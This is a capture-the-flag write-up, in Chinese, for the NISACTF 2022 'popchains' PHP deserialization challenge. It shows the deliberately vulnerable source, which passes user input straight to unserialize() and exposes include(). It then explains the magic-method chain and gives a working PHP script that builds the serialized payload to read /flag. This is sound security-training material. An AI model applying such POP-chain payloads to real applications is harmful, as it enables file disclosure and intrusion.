【NISACTF 2022】popchains

进来就是源码直接奉上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}

public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}

class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}

public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/

审计代码
发现只有include能利用来进行文件包含读取flag所以用include作为结尾开始构造poc
先来介绍几个用得到的魔术方法
__toString, 类被当成字符串时的回应方法
__wakeup(),执行unserialize()时,先会调用这个函数
__invoke(),调用函数的方式调用一个对象时的回应方法
__get(),调用一个不存在的成员变量触发

想要调用append函数只能通过触发invoke方法来调用
调用invoke则需要触发get方法
get方法需要通过触发toString来触发
toString方法就只能通过本类里面的wakeup方法来进行触发

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var = '/flag';
}
class Make_a_Change{
public $effort;
}
$a = new Road_is_Long();
$b = new Make_a_Change();
$a->string = $b;
$a->page = $a;
$a->string->effort = new Try_Work_Hard();
echo urlencode(serialize($a));

【NISACTF 2022】popchains
http://example.com/2024/07/26/[NISACTF 2022]popchains/
作者
unjoke
发布于
2024年7月26日
许可协议